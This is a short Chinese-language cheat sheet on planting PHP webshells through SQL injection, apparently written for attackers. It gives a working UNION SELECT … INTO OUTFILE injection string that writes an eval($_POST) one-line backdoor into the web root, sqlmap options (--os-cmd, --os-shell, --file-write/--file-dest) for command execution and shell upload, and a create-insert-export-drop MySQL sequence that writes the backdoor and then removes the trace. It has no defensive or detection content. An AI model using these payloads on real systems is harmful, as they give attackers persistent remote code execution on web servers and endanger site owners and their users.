这里小结一下通过SQL注入写入WebShell的方法。
传统的SQL语句写shell
通过SQL注入select into outfile实现,如:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
sqlmap写shell
前提都是需要对目标目录具有写权限。
--os-cmd="net user"
交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径
下创建文件返回结果,然后再自动删除。
--os-shell
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。
注意:关闭sqlmap文件就会被删除。
本地写入webshell
先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/1.php"。
注意需要最高权限。
MySQL写一句话木马
MySQL写木马,通常可以通过phpmyadmin来实现。
前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。
1、创建一个表
CREATE TABLE a (cmd text NOT NULL);
2、插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');
3、导出一句话
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';
4、删除表
Drop TABLE IF EXISTS a;